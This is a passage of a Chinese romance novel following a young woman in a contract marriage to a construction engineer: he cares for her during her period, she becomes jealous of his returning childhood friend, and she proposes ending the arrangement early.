苏念橙看着那一大袋东西,心里像被什么东西狠狠撞了一下。 她张了张嘴,想说谢谢,又想起他说过别说谢谢。 最后只是低下头,小声说:“好。” 她拎着袋子上楼,每一步都走得慢,小腹还在疼,但心里那股暖意盖过了疼。 换完出来,她扶着楼梯慢慢往下走。 刚走到客厅,就闻见一股甜丝丝的味道。 越靳临站在厨房门口,手里端着个搪瓷缸子。 看见她下来,他走过来,把缸子递给她。 “红糖水,趁热喝。” 苏念橙接过来,缸子烫烫的,暖着手心。 她低头喝了一口,甜丝丝的,一直暖到胃里。 越靳临又从旁边拿了个东西递过来。 是暖水袋,外面包着条旧毛巾,热乎乎的。 “抱着。”他说,“暖和点。” 苏念橙接过暖水袋,抱在怀里。 那股热意从肚子上散开,小腹的疼好像轻了些。 她抬起头,看着越靳临。 他站在她面前,低头看着她,那双眼眸里带着点她看不懂的东西。 “还疼吗?”他问。 苏念橙摇摇头,“好一些了。” 其实还是疼,但比刚才好多了。 越靳临看着她,沉默了两秒。 “去沙发上坐着。”他说,“别站着。” 苏念橙点点头,抱着暖水袋和红糖水,走到沙发边坐下。 越靳临在她旁边坐下,拿起桌上的报纸,低头看起来。 屋里安静下来,只有窗外的风声和偶尔传来的汽车声。 苏念橙小口小口喝着红糖水,偷偷瞄了他一眼。 他靠在沙发背上,手里拿着报纸,好像在认真看。 但那耳朵,还是红的。 一个大男人,去买这种东西…… 那得有多大的反差。 她低下头,嘴角忍不住弯了弯。 “笑什么?”旁边传来低沉的声音。 苏念橙吓了一跳,抬起头,对上他那双黑沉沉的眼睛。 “没、没什么。”她赶紧摇头,脸一下子红了。 越靳临看着她那副样子,嘴角微微弯了弯。 “喝完早点睡。”他说,“明天要是还疼,就别去上班了。” 苏念橙愣了愣,“那怎么行——” “工钱照发。”他打断她,“身体要紧。” 第三十六章 冷脸洗内裤 苏念橙也不矫情,点点头说好。 喝完红糖水,她把缸子放到茶几上,站起来想去洗个澡。 刚才出了汗,身上黏糊糊的,不舒服。 “我去洗个澡。”她说。 越靳临站起来,“等会儿。” 他先进了澡间,过了一会儿出来,对她说,“热水放好了,去吧。” 苏念橙愣了一下,心里暖暖的,“谢谢。” “嗯,不客气。”他应了一声,坐回沙发上继续看报纸。 苏念橙进了澡间,果然热气腾腾的,水温刚好。 她洗得很快,怕耽误他洗。 洗完擦干,换好干净衣服,她低头看着换下来的那条裤子,有点发愁。 脏了,得赶紧洗。 她拿盆装起来,准备先去楼上把东西放下,再下来洗。 推开门,澡间的灯还亮着,她下意识往那边看了一眼,脚步猛地顿住。 越靳临站在水龙头旁边。 他只穿着件黑色背心,古铜色的手臂露在外面,肌肉线条随着动作微微绷起。 背心领口开得大,能看见锁骨和一小片胸膛。 他低着头,手里拿着什么东西,正在水龙头下搓洗。 水声哗哗的。 苏念橙的目光落在他手上,脑子“嗡”的一声炸开了。 他手里拿着的,是她的内裤。 那条脏了的,她还没来得及洗的,粉色的内裤。 他就那么站在那儿,低着头,大手搓着那块小小的布料,动作认真,一点都不嫌脏。 苏念橙的脸腾地烧起来,从耳尖红到脖子根。 她愣在原地,脚像钉在地上,动不了。 越靳临好像感觉到什么,抬起头,往这边看了一眼。 四目相对。 苏念橙脑子里一片空白。 他脸上没什么表情,只是看了她一眼,又低下头,继续搓洗。 自然的像是他的内裤一样。 水龙头的水还在哗哗流。 苏念橙终于回过神来,几步冲过去,“我、我自己来就行!” 她伸手想去抢,越靳临往旁边躲了一下,没让她抢着。 “洗完了。”他说。 苏念橙的手停在半空,脸红得能滴血,“那个……那个脏……” “不脏。”他拧上水龙头,把那条内裤拧干,展开看了看,又放到水龙头下冲了冲,“洗干净了。” 苏念橙站在旁边,手脚都不知道该往哪儿放。 她低着头,盯着自己的鞋尖,耳朵根子都烫得厉害。 越靳临把洗好的内裤拧干,搭在旁边的架子上,回头看她。 她低着头,露出的脖颈都红了,睫毛轻轻颤着,像只受惊的小兔子。 “愣着干嘛呢?”他说,“去睡吧。” 苏念橙抬起头,看了他一眼,又飞快地移开目光。 “谢……谢谢。”她声音小得像蚊子哼。 越靳临嘴角微微弯了弯,“嗯。” 苏念橙转身就跑,上楼的时候差点绊一跤。 她冲进屋里,关上门,靠在门板上捂着胸口喘气。 心跳快得像要从嗓子眼蹦出来,脸烫得能煎鸡蛋。 他、他怎么…… 他怎么给她洗那个? 她想起他站在水龙头边,低着头,大手搓着那块小小的布料,动作那么自然,一点都不嫌脏。 还有他那件黑色背心,露出的小臂,古铜色的皮肤,水流从指缝间流过…… 冲击力也太强了。 她使劲摇头,把那些画面甩出去。 睡觉睡觉。 可躺在床上,翻来覆去睡不着。 脑子里全是刚才那个画面。 不知道过了多久,她终于迷迷糊糊睡着了。 接下来的几天,越靳临把苏念橙照顾得无微不至。 每天早上起来,桌上已经摆好了红糖鸡蛋,热气腾腾的。 中午让人送饭回来,晚上一下班就往家赶,变着法儿给她做好吃的。 苏念橙过意不去,说不用这样,她就是正常那个来了,没那么娇气。 越靳临不听,该干嘛干嘛。 红糖水天天煮,暖水袋天天灌,饭菜顿顿不重样。 连吴大夫都知道了,有天在胡同口碰见她,还笑着打趣,“嫂子,越哥对你是真好。我认识他这么多年,头一回见他这么上心。” 苏念橙脸红红的,不知道该说什么。 一周后,生理期终于过去了。 那天早上起来,苏念橙觉得浑身轻松,连空气都新鲜了几分。 她洗漱完下楼,越靳临已经把早饭做好了。 红糖鸡蛋,小米粥,还有两个煎得金黄的荷包蛋。 “今天还疼吗?”他问。 苏念橙摇摇头,“不疼了,都好了。” 越靳临点点头,把粥推到她面前,“那就好。多吃点。” 苏念橙坐下,低头喝粥。 喝了几口,她抬起头,“越靳临。” “嗯?” “这几天……谢谢你。”她看着他,认真地说,“你对我真好。” 越靳临筷子顿了顿,抬头看她。 她坐在晨光里,脸红红的,眼睛亮亮的,像刚开的桃花。 他心里软了一下,“嗯。” 就一个字。 苏念橙却觉得心里暖暖的,低下头继续喝粥。 吃完饭,两人照常去上班。 摩托车在晨风里开,苏念橙搂着他的腰,把脸埋在他背上。 日子好像就这样一天天过下去,平淡,但踏实。 工地还是那片灰扑扑的空地,苏念橙的办公室还是那间小屋。 她干完活,翻开书复习,一上午很快就过去了。 中午,越靳临来找她吃饭。 两人在食堂吃完,他送她回办公室。 “下午我有点事,”他说,“你下班自己回去,行吗?” 苏念橙点点头,“行,没事。” “嗯。”他转身要走,又回过头,“对了,晚上想吃什么?我带回来。” 苏念橙想了想,“都行。” “那就红烧肉。”他说,“国营饭店的。” 苏念橙笑了,“好。” 越靳临走后,她回到办公室,继续看书。 看着看着,门被敲响了。 “进来。” 门推开,何佩佩探进半个脑袋,笑得眼睛弯弯的,“念橙!” 苏念橙眼睛一亮,“佩佩?你怎么来了?” 何佩佩溜进来,在她旁边坐下,“我路过,想着你在上班,就来看看。”她四处张望,“这就是你办公室?挺不错的嘛,一个人一间。” 苏念橙点点头,“嗯,越靳临给我安排的。” 何佩佩眨眨眼,“你男人对你真好。” 苏念橙脸一红,没接话。 何佩佩凑过来,“对了,念橙,我有个事想问你。” 第三十七章 心酸 苏念橙问:“什么事?” 何佩佩凑过来,压低声音:“你跟我哥,是不是发生过什么?” 苏念橙心里咯噔一下,脸上没露出来,“怎么这么问?” “你别瞒我。”何佩佩看着她,“我了解你。那天你去我家,你俩那个样子,傻子才看不出来有事。” 苏念橙沉默了几秒。 她不想让何佩佩为难,更不想骗她。 “是有点事。”她开口,“在乡下的时候,我跟你哥处过一段。后来他回城,我们就算了。” 何佩佩愣住了,“处过?你是说我哥跟你……” “嗯。”苏念橙点点头,“不过都是过去的事了。他现在娶了我继妹,我也嫁了人,以后各过各的,没什么联系。” 何佩佩张着嘴,半天没说出话来。 “你继妹?”她瞪大眼睛,“就是那个苏荷雨?” 苏念橙点点头。 何佩佩脸色变了又变,最后憋出一句:“我哥他脑子有病吧?放着好好的你不要,娶那个矫情货?” 苏念橙愣了一下,“佩佩……” “你别拦我,我早就看她不顺眼了!”何佩佩气鼓鼓的,“你是不知道,她在我们家,天天端着一副大学生的架子,我妈还得伺候她!做饭、洗衣服、收拾屋子,她手指头都不带沾一下的!我妈说是看在她要念书的份上,可我看她就是懒!” 苏念橙不好评价,毕竟苏荷雨确实就是这样的人。 “佩佩,你别生气了。”她拉着何佩佩的手,“你哥喜欢她,那是他的事。咱们管不着。” 何佩佩哼了一声,“我才懒得管他!我就是替你不值。” 苏念橙笑了笑,“没什么不值,我现在挺好的。” 何佩佩看着她,叹了口气,“行吧,你觉得好就行。那我先回去了,改天再来找你。” “好。” 送走何佩佩,苏念橙坐回椅子上,发了会儿呆。 过去的事,她早就不想了。 毕竟何钧礼这种人,根本不值得。 她摇摇头,翻开书继续看。 看了没一会儿,她想起还有本书要去图书馆借,便收拾东西锁上门,往外走。 工地门口那排梧桐树,叶子黄了大半,风一吹,刷刷往下掉。 她低着头往前走,走到一块树荫下,脚步忽然顿住。 不远处,越靳临站在那儿。 他身边站着个女人。 二十五六岁的样子,穿件素色的确良衬衫,头发披着,眉眼温柔,正仰着头跟他说话。 越靳临低头听着,嘴角微微弯着,像是在笑。 两人站在一起,一个高大硬朗,一个温婉柔和,看着竟有几分般配。 苏念橙愣住了。 她站在原地,看着那边,心里像被什么东西轻轻刺了一下。 不疼,但堵得慌。 她正想移开目光,身边走过几个新来的工友,没认出她,随口聊着。 “哎,那女的谁啊?跟越工挺熟的。” “不知道,看着不像工地的。” “长得挺好看,跟越工站一块儿挺般配。” 另一个年纪大点的压低声音:“越工结婚了,娶的是个小姑娘。” “小姑娘?”先前那个啧了一声,“那还是这种成熟的好,娶个太嫩的媳妇儿回去,回家还得伺候她,多累啊。” 几人说着走远了。 苏念橙站在原地,攥紧手里的书,指甲掐进封面里。 她低下头,加快脚步,往另一个方向走去。 图书馆不远,走一刻钟就到。 她进去找到那本书,办了借阅手续,抱着书出来。 可走出来,她忽然不想回去。 天还早,太阳斜斜地挂在天边。 她抱着书,往附近的公园走去。 公园里人不多,几个老人坐在长椅上晒太阳,有小孩在空地上追着跑。 她找了个角落的长椅坐下,翻开书,却怎么也看不进去。 脑子里全是刚才那个画面。 越靳临站在树荫下,低头跟那个女人说话,嘴角带着笑。 那个笑,她没见过。 还有那几个工友说的话。 娶个太嫩的回家,还得伺候。 她低下头,看着自己的手。 这双手,在乡下干过多少活,她不记得了。 她不怕干活,也不怕伺候人。 可这话听着,还是有点刺耳。 她摇摇头,把那些乱七八糟的念头甩出去。 想这些干嘛? 他们本来就是协议结婚,他爱跟谁说话跟谁说,跟她有什么关系? 她深吸一口气,强迫自己看书。 太阳一点点西斜,天边染上橙红色。 她合上书,站起来往回走。 走到银杏胡同口,天已经擦黑了。 路灯还没亮,街上灰蒙蒙的。 她低着头往前走,路过国营饭店时,脚步忽然顿住。 靠窗那张桌子,坐着两个人。 越靳临背对着窗户,看不清表情。 他对面坐着个女人,正是中午那个。 两人面前摆着几盘菜,那女人正笑着说什么,筷子夹了块肉,放到越靳临碗里。 苏念橙站在窗外,看着那一幕。 心里像被什么东西堵住了,闷闷的,喘不过气。 原来说有事,是跟别人出来吃饭。 她扯了扯嘴角,想笑,却笑不出来。 算了。 他们本来就是协议的,他跟谁吃饭,关她什么事? 她转身,往胡同里走。 走了两步,又停下。 她不想回去那么早。 回去干什么?他还没回来,家里冷冰冰的。 她想了想,转身去了胡同口那家小面馆。 要了碗阳春面,坐在角落里慢慢吃。 面汤寡淡,面条也一般,她吃着吃着,眼眶忽然有点酸。 她使劲眨了眨眼,把那点酸意憋回去。 吃完面,她付了钱,慢吞吞往回走,不知道走了多久,天空也已经完全染成墨蓝色,她才回到家。 推开家门,屋里亮着灯。 越靳临坐在客厅里,听见动静抬起头。 “回来了?”他站起来,“怎么这么晚?” 苏念橙低着头换鞋,“去图书馆借书,又去公园坐了一会儿。” 越靳临走过来,“吃饭了吗?” “吃了。” “吃的什么?” “阳春面。” 越靳临眉头皱起来,“就吃碗面?” 苏念橙抬起头,看着他,“嗯,怎么了?” “我给你带了红烧肉。”他说,“国营饭店的,还热着。” 苏念橙愣了一下,看向桌上。 桌上放着个饭盒,盖子掀开一角,露出油亮亮的红烧肉。 她心里一酸,低下头,“我吃饱了。” 第三十八章 嫌我烦了 越靳临没多想,只当她真的吃饱了,就把饭盒盖上,“那放着明天吃。” “怎么不多买点别的?一碗面能吃饱?” 苏念橙低着头换鞋,“下次会多买点的。” 她说完就往里走,“我去洗澡了。” “嗯,去吧。” 越靳临看着她的背影,总觉得哪里不对,但说不上来。 澡间的灯亮了,水声哗哗响起来。 他站了一会儿,转身回了客厅。 第二天一早,两人照常吃完饭,出门上班。 摩托车停在楼下,越靳临跨上车,回头看她。 苏念橙走过去,坐到他身后。 她伸出手,抓住座位边缘,没有像往常那样搂他的腰。 越靳临愣了一下,回头看她。 她低着头,盯着自己的鞋尖,脸被晨光照得有点白。 “抓稳了。”他说。 苏念橙点点头,“嗯。” 摩托车发动,往工地开。 风呼呼地吹,苏念橙抓牢座位,身子绷得紧紧的。 越靳临开得比平时慢,时不时透过后视镜看她一眼。 她低着头,脸埋在阴影里,看不清表情。 到了工地,苏念橙跳下车,“谢谢,我去办公室了。” 说完转身就走。 越靳临看着她的背影,眉头皱了皱。 他站在那儿,盯着那扇关上的门看了好一会儿,最后还是转身去忙了。 中午,越靳临忙完一圈,往苏念橙办公室走。 门虚掩着,他敲了敲,推门进去。 苏念橙正趴在桌上写字,听见动静抬起头。 “越工?”她站起来,“有事吗?” 越靳临脚步顿了顿。 越工? 她平时都叫他名字,今天怎么叫越工了? “找你吃饭。”他说。 苏念橙低下头收拾桌上的东西,“我跟文静姐约好了,今天跟她一块儿吃。你先去吧。” 越靳临看着她,“约好了?” “嗯。”苏念橙点点头,“昨天说好的。你快去吧,别耽误下午干活。” 越靳临沉默了两秒,“好。” 他转身出去,带上门。 食堂里人不少,越靳临打了饭,找了个角落坐下。 刚吃两口,老张端着饭盒凑过来,“越工,一个人吃啊?你那个小媳妇儿呢?” 越靳临低头吃饭,他思考了下,最后淡淡说道,“嫌我烦了。” 老张愣了一下,随即笑出声来,“嫌你烦?越工,你照照镜子,就你这张脸,哪个小姑娘会嫌你烦?” 越靳临没接话,夹了块土豆放进嘴里。 老张在他旁边坐下,“说真的,你跟嫂子吵架了?” “没有。” “那怎么不一块儿吃?” 越靳临实话实说,“她说跟文静约好了。” 老张哦了一声,“那正常,女人嘛,有时候就想跟姐妹一块儿吃个饭,说点悄悄话。你一个大男人杵在旁边,人家不好聊。” 越靳临没说话,低头继续吃。 正吃着,门口进来两个人。 苏念橙和周文静端着饭盒,一边走一边说话。 周文静眼尖,一下就看见了角落里的越靳临。 “哟,越哥!”她拉着苏念橙走过来,“你也在这儿吃啊?” 越靳临抬起头,视线落在苏念橙身上。 她站在周文静旁边,穿着那件碎花裙,头发扎得整整齐齐,很秀气。 “嗯。”他点点头。 周文静看看他,又看看苏念橙,“要不咱们一块儿吃?这儿位置够。” 苏念橙愣了一下,还没开口,周文静已经拉着她坐下了。 “坐坐坐,人多热闹。” 苏念橙在她旁边坐下,对面就是越靳临。 她低着头,把饭盒打开,小口小口吃着。 周文静夹了块肉放进嘴里,忽然想起什么,“对了越哥,我听说芳婷回来了?昨天的事儿?” 越靳临淡淡道,“嗯。” 苏念橙手里的筷子顿了顿。 原来那个姑娘叫芳婷。 真好听的名儿。 周文静眼睛亮了,“真的?她回来也不说一声,改天得让她请客!” “她刚回来,忙。”越靳临说。 周文静撇撇嘴,“忙什么呀,不就是安顿下来嘛。对了,她回来就不走了吧?上次听说她要回来教书,在师范学院当老师?” “嗯,外语系。” 周文静笑了,“那挺好,以后咱们这帮人又能聚齐了。”她看向苏念橙,“念橙,你还不知道芳婷是谁吧?她叫陈芳婷,是越哥父亲战友的女儿,跟我们一个大院长大的。她家跟越哥家住得近,俩人从小一块儿长大,关系特别好。” 苏念橙点点头,“哦,这样啊。” 周文静继续说,“她前几年出国留学了,前天刚回来。昨天回来也没跟我们说,不然得拉她出来喝一杯。” 越靳临淡淡开口,“她酒量不好,喝什么。” 周文静笑骂,“接风洗尘你懂不懂?又不是真让她喝多少。” 苏念橙低着头,默默吃着饭。 原来那跟越靳临一个大院长大,从小关系就好。 她夹了块白菜,放进嘴里,嚼着嚼着,忽然觉得没什么味道。 周文静还在那边絮叨,“改天叫上她,咱们一块儿吃顿饭。念橙也去,认识认识。” 苏念橙抬起头,笑了笑,“你们老友聚餐,我去不太合适吧。” “哪里不合适啦,你是越哥媳妇儿,芳婷得见见你呢。” 越靳临抬眸盯着她,“也可以一起去。” 苏念橙愣了下,最后嗯了一声。 吃完饭,苏念橙跟周文静一块儿回了办公室。 周文静在她屋里坐了一会儿,聊了几句就走了。 苏念橙收拾桌上的东西,门又被推开了。 越靳临站在门口。 “收拾好了吗?”他问,“我送你回去。” 苏念橙愣了一下,“不用,我自己能回去。” “我送你。”他说。 苏念橙看着他,也不再拒绝,“好。” 她拎起包,锁上门,跟在他身后往外走。 两人穿过工地,往摩托车那边走。 苏念橙低着头,盯着自己的鞋尖,一步步走。 走到摩托车旁边,越靳临刚要跨上去,忽然停住了。 苏念橙顺着他的目光看过去。 几步外,站着个女人。 穿件碎花裙子,看起来比她身上这款更好看,头发披着,眉眼温柔,嘴角带着笑。 正是昨天那个。 陈芳婷走过来,目光在苏念橙身上转了一圈,最后落在越靳临脸上。 “靳临哥。”她笑着开口,“好巧,正好碰见你。” 第三十九章 闪婚 越靳临点点头,算是打了招呼。 陈芳婷走过来,笑得温柔,“靳临哥,准备去哪儿?” “送她回去。”越靳临说。 陈芳婷愣了一下,视线又落在苏念橙身上,这姑娘穿着碎花裙子,长的秀气,看起来像文员。 她眼里带着点好奇,“哟,靳临哥什么时候对待员工这么好啦?下班还亲自送回去?” 员工? 苏念橙愣了下。 陈芳婷笑着打趣,“早知道你对员工这么好,我也来你工地上班得了。” 越靳临嘴角微微弯了弯,难得语气温和,“你还是好好教书吧。” 陈芳婷嘿嘿一笑,眼睛弯成月牙。 她往前走了半步,很自然地看向苏念橙,“对了,你叫什么名字呀?” 苏念橙看着她那张温温柔柔的脸,心里那股说不清的滋味又冒出来。 “苏念橙。”她说。 “苏念橙?”陈芳婷点点头,“名字真好听。” 话音刚落,她忽然上前一步,挽住越靳临的胳膊,仰着脸撒娇,“靳临哥,你让员工自己回去呗,你陪我去吃午饭好不好?我刚回来,好多地方都不熟了。” 苏念橙站在旁边,看着那只挽在越靳临胳膊上的手,心里像被什么东西轻轻刺了一下。 连她自己都不知道为什么会堵得慌。 她移开目光,盯着地上的石子。 越靳临抽回胳膊,低头看了陈芳婷一眼,“她不是员工。” 陈芳婷愣了一下,“啊?” “她是我媳妇儿。”越靳临说。 陈芳婷脸上的笑僵住了。 她愣愣地看着越靳临,又看看苏念橙,眼里闪过不可置信,“你……你媳妇儿?” 苏念橙站在旁边,看着陈芳婷那张僵住的脸,忽然觉得有点尴尬。 那表情,分明是没想到。 她脑子里闪过一个念头。 陈芳婷喜欢越靳临,这次回来,是想跟他在一起的。 结果发现他结婚了,娶的还是个不认识的小姑娘。 那越靳临呢? 他是不是也喜欢陈芳婷? 他们从小一起长大,关系那么好。 她出国三年,他等她三年,结果她回来晚了,他随便找个人结了婚,刚好气她。 这剧情,怎么这么像里写的? 苏念橙心里一酸,下意识想开口解释。 我们不是真夫妻,是协议的,你别误会。 可话还没出口,手就被握住了。 越靳临的大手包着她的手,干燥温热,指节有力。 他低头看了她一眼,然后对陈芳婷说,“芳婷,我先送她回去。” 陈芳婷愣在原地,脸上的表情变了又变。 很快,她换上一副笑脸,走过来,一把拉住苏念橙的另一只手。 “竟然是嫂子!”她笑得亲热,“那靳临哥你不陪我吃饭,让嫂子陪我出去逛逛总行吧?” 她看向苏念橙,眼里带着期待,“嫂子,我刚回国,好多地方都不熟了。最近这一块变化挺大的,我怕迷路。你陪我去转转好不好?” 苏念橙其实对这块也不太熟,过来也不过一个月左右,刚想委婉拒绝,忽然听见身后传来急促的脚步声。 “越工!”老张跑过来,满头大汗,“不好了,B区那批材料出问题了,你快去看看!” 越靳临眉头一皱,“什么问题?” “数量对不上,少了好些!”老张急得直搓手,“工头都发火了,让你赶紧过去一趟!” 越靳临好看的眉头皱到一块,他低头看向苏念橙。 苏念橙抽回被他握着的手,“你快去忙吧,我自己回去就行。” 越靳临看着她,“那你自己小心。” “嗯。”苏念橙点点头。 他偏头说了一句,“下次。” 这话时说给陈芳婷听的。 陈芳婷笑着的点头,“好嘞,越哥你去忙吧。” 越靳临淡淡嗯了一声,转身跟着老张走了,步子迈得很大,很快就消失在工地深处。 苏念橙站在原地,看着他的背影,心里空落落的。 “嫂子?”陈芳婷挽住她的胳膊,笑得温柔,“走吧,咱们去逛逛。” 苏念橙回过神,被她拉着往前走。 都到这个份上了,她也不好让人家热脸贴冷屁股。 两人走出工地,沿着马路慢慢走。 路边种着法国梧桐,叶子黄了大半,风一吹,刷刷往下掉。 陈芳婷挽着她,走得慢悠悠的,一边走一边四处张望。 “变化真大。”她感叹,“我走的时候,这边还没这么多楼呢。你看那边,新盖的吧?” 苏念橙顺着她指的方向看了一眼,“嗯,新盖的。” 其实她也不知道啊。 看这建筑就很新… 陈芳婷笑了笑,忽然转过头看她,“嫂子,你跟靳临哥怎么认识的呀?” 苏念橙脚步顿了顿,“相亲。” 陈芳婷愣了一下,“相亲?” “嗯。”苏念橙点点头。 陈芳婷脸上的笑淡了一瞬,随即又笑起来,“是吗?那你们认识多久了?” 苏念橙想了想,还是实话实说,“一个多月吧。” “一个多月就结婚了?”陈芳婷眼里闪过一丝复杂,“真快。” 苏念橙没接话。 她先前也没意识到。 原来她和越靳临前后不过才认识一个月。 认识的第一天就办了结婚,这也算闪婚吧? 两人又往前走了一段,陈芳婷忽然低下头,声音轻轻的。 “我回来晚了。” 苏念橙听见了,心里一动。 果然是这样。 像新文学里写的一样。 因形势而分开的恋人,最终好聚好散。 陈芳婷抬起头,笑着看她,“我说,我回来晚了,都没赶上你们的婚礼。” 那笑容,怎么看都有点勉强。 苏念橙看着她,忽然冲动的想告诉她,其实她和越靳临只是协议结婚。 毕竟喜欢了那么多年的人,出国三年,回来发现他结婚了。 换谁都不好受。 “没事。”苏念橙说,“我们没办婚礼,就领了证。” 陈芳婷愣了一下,“没办婚礼?” “嗯。”苏念橙点点头。 陈芳婷沉默了两秒,忽然又笑起来,“那挺好,省事。对了嫂子,你做什么工作的?” “在工地帮忙整理单据。”苏念橙说。 “工地?”陈芳婷眨眨眼,“靳临哥让你干那个?” 第四十章 你想跟我离婚? 苏念橙点点头,“嗯,他给我安排的。活儿轻省,不累。” 陈芳婷眸里闪过失落,随后笑了,“他倒是会疼人。” 两人又走了一段,陈芳婷忽然停下脚步。 “嫂子,”她转过身,看着苏念橙,“说真的,我希望靳临哥好。” 苏念橙看着她,没说话。 陈芳婷笑了笑,眼眶却有点红,“我们从小一块儿长大,他就是一个闷葫芦,嫂子你多担待。他那种性子,我以前就总说他,到现在都是这样。不过还好,我以后都不用说他了,只不过要麻烦嫂子你了。” 以前? 果然是在一起过的吧。 “嗯,你也可以继续说他。” 陈芳婷苦笑,“嫂子你说什么呢,你才是他妻子,我说不合适。” 她扔下这句话就往前走了。 苏念橙心里不是滋味,不知道说什么。 陈芳婷也没介意,她瞥了一眼前边,“诶,前面有个供销社,进去看看?” “好。” 两人进了供销社,陈芳婷逛得认真,拿起这个看看,拿起那个摸摸。 苏念橙跟在她身后,有点心不在焉。 陈芳婷挑了几样东西,付了钱,转身看她,“嫂子,你不买点啥?” 苏念橙摇摇头,“不用。”随后她就又说,“你可以不用叫我嫂子,叫我念橙吧。” 喊她嫂子,她多少有些负罪感。 今晚回去,她已经想问问越靳临,要不要提前结束这份协议。 她不想因为自己,让两位有情人错过。 毕竟越靳临对她挺好的,她更不想让他有遗憾。 “好呀,念橙!刚好我也觉得喊你嫂子把你叫老了,毕竟你应该比我小。”陈芳婷边装好东西边说。 苏念橙浅笑了下,“嗯,的确把我叫老了。” 陈芳婷笑了笑,“你可以叫我芳婷。” “好,芳婷。” 话落两人一起出了供销社。 走到门口,陈芳婷忽然想起什么,“对了念橙,改天有空,咱们一起吃个饭。叫上文静他们,聚一聚。” 苏念橙点点头,“好。” 两人在路口分开,陈芳婷往另一个方向走,苏念橙往槐花胡同走。 走了几步,苏念橙忍不住回头看了一眼。 陈芳婷的背影袅袅婷婷,走得不急不慢,风吹起她的裙角,很好看。 她收回目光,继续往前走。 回到家,屋里黑漆漆的。 她拉亮灯,坐到桌边,翻开书,却怎么也看不进去。 她深吸一口气,强迫自己看书。 看了一会儿,她就起身进厨房做饭。 刚炒好一个菜,大门就被推开了。 越靳临回来,他身上的工装还带着些灰,面上有些疲惫,但是他闻到了满屋子的饭香味,不由地心里蔓延暖意,他视线落在厨房里纤细的身影。 苏念橙正在边听着收音机里的新闻,手上的动作不停,显然没察觉他回来了。 越靳临脱下脏的外套,撸起袖子,就走进厨房,他淡淡道:“我来帮你。” 话一落,苏念橙猛地震了一下,她转身回来发现是他,她才拍拍胸口,“你吓我一跳。” 越靳临眉眼微弯,第一次见她毛毛躁躁的样子,莫名觉得可爱。 “不好意思,我不是故意的。” 苏念橙当然也没有真的怪他,只是拍拍胸口说没事,然后转身继续炒菜。 “你去等着吧,马上就好了。” 越靳临点点头说好,却也没走,就靠在厨房门口看着她忙活。 她炒菜的动作很利索,锅铲翻飞,青菜在油锅里滋滋响。 灶台上的收音机放着新闻,播音员的声音字正腔圆。 片刻后,饭菜端上桌。 两菜一汤,炒青菜,西红柿炒蛋,还有一碗紫菜蛋花汤。 越靳临尝了一口,点点头,“很好吃。” 苏念橙在他对面坐下,也拿起筷子,“好吃就行。” 两人安静地吃了一会儿。 苏念橙低着头,筷子扒拉着碗里的饭,犹豫了好一会儿,终于开口。 “越靳临。” “嗯?” 她抬起头,看着他,“咱们那个协议,要不要提前结束?” 越靳临筷子顿了顿。 “其实不用等我考上大学。”苏念橙说,声音轻轻的,“你要是有别的打算,咱们可以早点办手续。” 越靳临脸色沉了沉。 他放下筷子,看着她,“什么别的打算?” 苏念橙被他看得有点不自在,低下头盯着碗里的饭,“就是你要是遇着合适的人了,不用顾虑我。咱们本来就是协议,早点结束,你也早点……” “你想跟我离婚?”他打断她,声音听不出情绪。 苏念橙愣了一下。 离婚。 这话听起来,怎么像他们是寻常夫妻,要走离婚这个流程似的。 她耳朵有点红,点点头,“嗯。” 越靳临沉默了几秒。 “我最近工地事多。”他说,拿起筷子继续吃饭,“上次和你说过,离婚很麻烦,要写申请要盖章,得跑好几趟。以后再说吧。” 苏念橙抬起头,“可是……” 他夹了块西红柿放到她碗里,“奶奶也挺喜欢你的。你也不想她伤心,对吧?” 苏念橙愣住了。 她想起老太太拉着她的手,笑眯眯地跟她说话的样子。 还有那碗炖得软烂的鸡汤。 越老太太是真的对她好。 如果让老人家发现了,该有多伤心。 她咬咬嘴唇,那点想说的话咽了回去。 “……好。” 越靳临嗯了一声,低头继续吃饭。 苏念橙也低下头,心里却乱糟糟的。 他什么意思? 是嫌麻烦不想离,还是觉得想再气气陈芳婷? 吃完饭,越靳临收拾碗筷,苏念橙也没有拦着。 “我去复习了。”她对着越靳临道。 “嗯。” 她上楼,关上门,上楼看书。 另一边,军区大院。 陈芳婷回到家,推开门,屋里亮着灯。 陈母正坐在沙发上看书,戴着副金丝边眼镜,头发梳得一丝不苟。 她是省城大学的教授,教中文的,身上总有股书卷气。 听见动静,她抬起头,“芳婷回来了?吃饭了吗?” 陈芳婷没说话,换了鞋走进去,在沙发上坐下。 陈母放下书,看着她,“怎么了?脸色这么差。” 陈芳婷低着头,沉默了几秒,忽然眼眶红了。 “妈,”她抬起头,声音发颤,“靳临哥结婚了,你知道吗?” 第四十一章 聚餐 陈母愣住了。 “结婚?”她皱起眉头,“什么时候的事?” “就最近。”陈芳婷咬着嘴唇,“我今天去找他,碰见他送一个姑娘回家。他说那是他媳妇儿。” 陈母沉默了几秒,“我倒是没听说。你奶奶那边也没提起过。” 陈芳婷眼泪掉下来,“妈,我怎么办啊?我等了他三年,我以为我回来就能……” 她说不下去了,低下头抹眼泪。 陈母叹了口气,伸手拍拍她的背,“别哭,慢慢说。他娶的是谁家的姑娘?” 陈芳婷摇摇头,“不知道,看着面生。二十出头,长得挺秀气,说是工地上帮忙整理单据的。” “工地上?”陈母眉头皱得更紧了。 “嗯。”陈芳婷抬起头,眼眶红红的,“妈,你说他是不是骗我的?他怎么可能娶个工地上干活的?他才认识人家多久啊?” 陈母沉默了一会儿,“小越那孩子我从小看着长大,不是那种人。他要是真结婚了,那就是真的。” 陈芳婷眼泪又掉下来。 陈母看着她,想了想,忽然说,“不过才认识一个月就结婚,确实快了点。小越他不像这么冲动的人。” 陈芳婷愣了一下。 “妈,你是说……” “我是说,”陈母看着她,“这当中会不会有什么误会?” 陈芳婷愣住了。 误会? 什么误会? 她想起白天那个姑娘,安安静静的,话不多,看着挺老实。 她跟越靳临站在一起,确实有点不太搭。 可越靳临亲口说的,那是他媳妇儿。 她咬着嘴唇,心里乱成一团。 陈母拉着她的手,“你先别急。明天我找人问问,看看到底怎么回事。要真是结婚了,那也是没办法的事。要是有误会,咱们再说。” 陈芳婷点点头,靠在母亲肩上,眼泪还在流。 “妈,我真的好喜欢他……” 陈母拍拍她的背,“妈都知道。” 转眼到了周末。 苏念橙起了个大早,站在镜子前比划了半天,最后还是穿了那件碎花裙。 前天陈芳婷叫了他们几个周末聚一聚。 她收拾好下楼,越靳临已经在客厅等着了。 他今天换了件干净的灰布衬衫,头发梳得整整齐齐,看着比平时精神不少。 看见她下来,他眼睛亮了亮,“好了?” 苏念橙点点头,“嗯。” 两人出门,摩托车往国营饭店开。 天挺好,阳光暖洋洋的,风也不大。 